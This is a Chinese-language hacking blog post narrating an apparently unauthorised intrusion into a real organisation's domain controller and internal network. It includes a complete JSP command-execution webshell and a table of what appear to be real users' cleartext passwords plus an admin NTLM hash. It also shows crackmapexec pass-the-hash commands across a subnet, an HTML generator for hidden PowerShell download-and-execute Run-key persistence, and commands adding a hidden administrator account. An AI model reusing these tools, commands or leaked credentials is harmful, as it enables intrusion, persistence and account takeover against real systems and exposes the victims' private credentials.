本專欄是筆者的網絡安全學習筆記,一面分享,同時作為筆記
文章目錄
- 前文鏈接
- 前言
- 上線CS
- 上線rdp
- 后滲透
- 信息收集
- SMB Pth攻擊
- 權限維持
- 魔幻上線提權
- 關Windows Defender
- end
前文鏈接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目錄掃描,請求重發,漏洞掃描等工具的使用
- 網站信息收集及nmap的下載使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各種注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——實戰SQL注入拿webshell
- Vulnhub靶機滲透之Me and My Girlfriend
- XSS漏洞
- 文件上傳漏洞
- 文件上傳繞過
- 文件包含漏洞
- Vulnhub靶機滲透之zico2
- 命令執行漏洞
- 邏輯漏洞(越權訪問和支付漏洞)
- 網站后臺安全
- weevely的使用及免殺(Linux中的菜刀)
- MSF(1)——一次完整的滲透流程
- WebShell命令執行限制(解決方案)
- 記一次艱難的SQL注入(過安全狗)
- MSF(2)——各種木馬的生成及簡單的免殺
- MSF(3)——apk和exe的加馬(過360、火絨)
- 通過Frp解決實現內網穿透
- 改造冰蝎馬,實現免殺之default_aes php
- 使用FofaSpider和Python聯動批量挖洞
- 記一次簡單的對盜號網站的滲透
- 記一次幸運的漏洞挖掘
- 記一次從外網打通AWS云
- 內網滲透初探
前言
外網打點是怎么拿的就不說了,跟前兩篇博客一樣。總之得到了一個jsp的webshell,嘗試執行cmdline失敗。
這種一般就是工具的問題,換個工具或者重新穿個cmd的webshell就行,這里我放一個AI寫的,能用。
<%@ page import="java.util.*,java.io.*" %>
<HTML>
<BODY>
<FORM METHOD="POST" NAME="cmd">
<INPUT TYPE="text" NAME="command" SIZE="60">
<INPUT TYPE="submit" VALUE="Execute">
</FORM>
<PRE>
<%
if (request.getParameter("command") != null) {Process p = null;StringBuilder output = new StringBuilder();try {// 執行Windows命令p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("command"));// 讀取命令輸出BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while ((line = reader.readLine()) != null) {output.append(line).append("\n");}// 讀取錯誤流BufferedReader errReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));while ((line = errReader.readLine()) != null) {output.append(line).append("\n");}p.waitFor();} catch (Exception e) {output.append("ERROR: ").append(e.getMessage());} finally {if (p != null) p.destroy();}out.print(output.toString()); // 回顯結果
}
%>
</PRE>
</BODY>
</HTML>
system權限。
看看進程
tasklsit /svc
有Windows Defender,這下麻煩了。。
上線CS
因為我想內網滲透,所以直接嘗試上線。
用CS自帶的web投遞功能試試。
什么玩意,翻譯看看
直接被攔。但是問題不大。我還有一招。
用哥斯拉自帶的shellcode加載功能,上線msf。
msf拿到監聽后,background藏一下。
用cs的PAYLOAD生成器生成一個raw的shellcode,保存為.bin文件,放進kali
使用post/windows/manage/shellcode_inject模塊內存加載shellcode
這里SESSION就寫剛才得到的SESSION就行,SHELLCODE寫絕對路徑。
run之后cs成功上線。
上線rdp
看看有沒有開rdp
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
0x0就是開了
看看端口是多少
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
d3d就是3389.
抓個密碼
東西太多了,讓ai總結。
用戶名 | 域/主機 | 明文密碼 | 來源 |
---|---|---|---|
soporteis | BUHOIYS | Rayzen5-3310 | SSP |
Federico | BUHOIYS | LuTi-072021* | tspkg |
aflores | BUHOIYS | 30deNoviembre6 | tspkg |
ale | BUHOIYS | SanMiguel21 | tspkg |
nparedes | BUHOIYS | katy-2020 | tspkg |
sqlmanager | BUHOIYS | Future2050 | tspkg |
carlos | BUHOIYS | Tininin2090 | tspkg |
隨意選一個幸運用戶上線。
登陸成功
后滲透
信息收集
先信息收集,執行幾個指令,丟給ai去總結
systeminfo
whoami /all
ipconfig /all
分類 | 關鍵信息 | 說明 / 對滲透的意義 |
---|---|---|
主機信息 | 主機名:SIYS4 | 域控服務器(Primary Domain Controller),高價值目標 |
OS:Windows Server 2022 Standard (10.0.20348) | 最新系統,部分舊漏洞無效,但依然可利用配置錯誤 | |
廠商:Lenovo ThinkSystem SR650 V3 | 物理服務器,性能強,可能掛載多虛擬機 | |
BIOS:Lenovo ESE124C-3.12 (2024-02-22) | 硬件相對新 | |
安裝時間:2025-03-26 | 較新系統,賬戶/策略可能近期配置 | |
時區:UTC-3(布宜諾斯艾利斯) | 阿根廷時區,方便社工判斷上下班時間 | |
域信息 | 域:buhoiys.local | 域內 lateral movement 可用 |
系統角色:Primary Domain Controller | 持有全部域用戶哈希,可進行 DCSync 攻擊 | |
網絡信息 | 物理網卡1:192.168.250.15/24 GW:192.168.250.1 | 內網主地址,直連內部網絡 |
Hyper-V 虛擬網卡:192.168.250.16/24 | 可能通向虛擬機網絡 | |
Radmin VPN:26.229.91.5/8 GW:26.0.0.1 | 跨網段訪問,可能連到外部管理網絡 | |
Hamachi VPN:25.28.204.74/8 GW:25.0.0.1 | 類似,可能有其他被控節點 | |
DNS:192.168.250.15(自指) | 本機是域 DNS 服務器,可做 DNS zone transfer | |
權限信息 | 當前用戶:NT AUTHORITY\SYSTEM | 本地 SYSTEM 權限,可直接讀寫 LSASS,導出SAM/NTDS |
SeImpersonatePrivilege:啟用 | 可進行 Juicy Potato / PrintSpoofer / RoguePotato 提權或橫向 | |
SeDebugPrivilege:啟用 | 可直接注入進程、調試 SYSTEM 級程序 | |
域控管理員組成員 | 已處于域最高權限層級 |
域控,很刺激啊。
SMB Pth攻擊
用hashdump導出Administrator的hash
Administrador/cf4658454e9373ecf160dc903022f954
然后走一個suo5的代理,用msf掛上proxychain批量掃C段
proxychains crackmapexec smb 192.168.250.0/24 -u Administrador -H cf4658454e9373ecf160dc903022f954 --exec-method smbexec > smb.txt
cat smb.txt | grep [+]
這么多Pwn3d,起飛了家人們
直接執行指令whoami。
proxychains crackmapexec smb 192.168.250.5 -u Administrador -H cf4658454e9373ecf160dc903022f954 -x "whoami" --exec-method smbexec
system權限。
我們直接用web投遞的一句話上線CS:
排除重復主機,拿下兩臺主機
權限維持
目前比較懶,只有兩種方式,一是用WEB投遞生成URL,然后用powershell拉取執行,另一種是本地文件執行。都是寫注冊表,用下面這個html快速生成。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>權限維持小妙招</title><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body {font-family: Arial, sans-serif;background: #121212;color: #f0f0f0;padding: 20px;}h1 {text-align: center;color: #fff;}form {max-width: 500px;margin: 0 auto;background: #1e1e1e;padding: 20px;border-radius: 10px;box-shadow: 0 4px 8px rgba(0,0,0,0.5);}label {display: block;font-weight: bold;margin-bottom: 8px;color: #ddd;}input[type="text"] {width: 100%;padding: 8px 10px;margin-bottom: 15px;border: 1px solid #444;background: #2b2b2b;color: #fff;border-radius: 6px;outline: none;transition: border-color 0.3s;}input[type="text"]:focus {border-color: #00bfff;}input[type="submit"] {background: #00bfff;color: white;padding: 10px 18px;border: none;border-radius: 6px;cursor: pointer;width: 100%;transition: background 0.3s;}input[type="submit"]:hover {background: #008fcc;}.result-box {max-width: 500px;margin: 20px auto;background: #1e1e1e;padding: 15px;border-radius: 8px;box-shadow: 0 4px 6px rgba(0,0,0,0.5);}.result-line {margin-bottom: 15px;}.result-label {font-weight: bold;color: #00bfff;margin-bottom: 5px;display: block;}.result-line span {display: block;word-break: break-all;background: #2b2b2b;padding: 8px;border-radius: 6px;margin-bottom: 5px;font-size: 0.9em;}.copy-btn {background: #28a745;color: white;border: none;padding: 6px 12px;border-radius: 6px;cursor: pointer;font-size: 0.85em;transition: background 0.3s;}.copy-btn:hover {background: #1e7e34;}@media (max-width: 600px) {body {padding: 10px;}.result-box, form {padding: 15px;}input[type="submit"] {font-size: 1em;}}</style>
</head>
<body>
<h1>權限維持小妙招</h1>
<form id="form"><label for="command">請輸入 URL 或 文件絕對路徑:</label><input type="text" id="command" placeholder="例如:http://example.com 或 C:\path\file.exe" required><input type="submit" value="生成">
</form><div class="result-box" id="results" style="display:none;"><div class="result-line"><span class="result-label">用戶權限版(USER)</span><span id="res1"></span><button class="copy-btn" data-target="res1">復制</button></div><div class="result-line"><span class="result-label">SYSTEM權限版(SYSTEM)</span><span id="res2"></span><button class="copy-btn" data-target="res2">復制</button></div><div class="result-line" id="rawCmdBlock" style="display:none;"><span class="result-label">原始指令(未經Base64編碼)</span><span id="rawUser"></span><button class="copy-btn" data-target="rawUser">復制用戶權限版</button><br><span id="rawSystem" style="margin-top:10px;display:block;"></span><button class="copy-btn" data-target="rawSystem">復制SYSTEM權限版</button></div>
</div><script>function toBase64Utf16LE(str) {const buf = new Uint16Array(str.length);for (let i = 0; i < str.length; i++) {buf[i] = str.charCodeAt(i);}const bytes = new Uint8Array(buf.buffer);let binary = '';for (let i = 0; i < bytes.byteLength; i++) {binary += String.fromCharCode(bytes[i]);}return btoa(binary);}document.getElementById("form").addEventListener("submit", function (e) {e.preventDefault();const command = document.getElementById("command").value.trim();const res1 = document.getElementById("res1");const res2 = document.getElementById("res2");const rawCmdBlock = document.getElementById("rawCmdBlock");const rawUser = document.getElementById("rawUser");const rawSystem = document.getElementById("rawSystem");let USER, SYSTEM;rawUser.textContent = "";rawSystem.textContent = "";rawCmdBlock.style.display = "none";if (command.toLowerCase().startsWith("http")) {// 網絡 URLlet payload = `$u='${command}';$s='Ne'+'w-Object';$t='Net.W'+'ebClient';$d='Download'+'String';IEX((&($s) $t).$d($u))`;let encoded = toBase64Utf16LE(payload);if (!encoded) {alert("Base64 編碼失敗,請檢查輸入!");return;}USER = `reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -enc ${encoded}" /f`;SYSTEM = `reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -enc ${encoded}" /f`;// 原始命令const rawUserCmd = `reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -c \\"IEX (New-Object Net.WebClient).DownloadString('${command}')\\"" /f`;const rawSystemCmd = `reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -c \\"IEX (New-Object Net.WebClient).DownloadString('${command}')\\"" /f`;rawUser.textContent = rawUserCmd;rawSystem.textContent = rawSystemCmd;rawCmdBlock.style.display = "block";} else {// 文件路徑USER = `reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "${command}" /f`;SYSTEM = `reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "${command}" /f`;rawCmdBlock.style.display = "none";}res1.textContent = USER;res2.textContent = SYSTEM;document.getElementById("results").style.display = "block";});document.querySelectorAll(".copy-btn").forEach(btn => {btn.addEventListener("click", function () {let targetId = this.getAttribute("data-target");let text = document.getElementById(targetId).textContent;navigator.clipboard.writeText(text).then(() => {const originalText = this.textContent;this.textContent = "已復制";setTimeout(() => this.textContent = originalText, 1500);});});});
</script>
</body>
</html>
輕松愉快
魔幻上線提權
我本來想用3389的連接上傳microsocks跑穩定的socks5服務端的,但是文件傳上去,用cs去spawn卻總是找不到文件路徑。好奇心驅使下我就執行了systeminfo。
250.1,SIYSV,給我干哪來了?我最開始連的不是250.15嗎?我打的不是SIYS1-4嗎?
不管了,上線CS。
嘗試提權,看看補丁
119個?!
其實能用的exp還挺多的。
打一個msf方便操作。
然后background去找exp
。。。。。
我把所有的exp全都打了一遍,沒有一個成功的。那么我是怎么提權的呢。。
其實我現在登錄的用戶就已經是管理員組了,所以我們可以傳cs的exe馬上去,然后右鍵,以管理員運行,然后直接getsystem就好了。
魔幻詭異的服務器。
關Windows Defender
煩死了,wd繞不掉,權限維持不了。直接上3389關掉算了
直接新建一個影子用戶,掛上代理上線rdp。
shell net user tt$ Tt@123456 /add
shell net localgroup administrators tt$ /add
shell net localgroup "Remote Desktop Users" tt$ /add
上線
上線后在用戶列表里找一個已登錄用戶,用之前抓到的密碼重新登錄,再刪除影子用戶。
不對。
給我干哪來了?
成功上線
研究了一下,原來是我登錄的這個用戶開了個rdp的全屏沒關。白送我一臺服務器。
讀取瀏覽器密碼
哥們,這啥啊?login.microsoftonline.com是什么??dropbox.com是什么??這么勁爆嗎!
抓個密碼:
Federico/McElite0302
end
就這樣吧,打不動了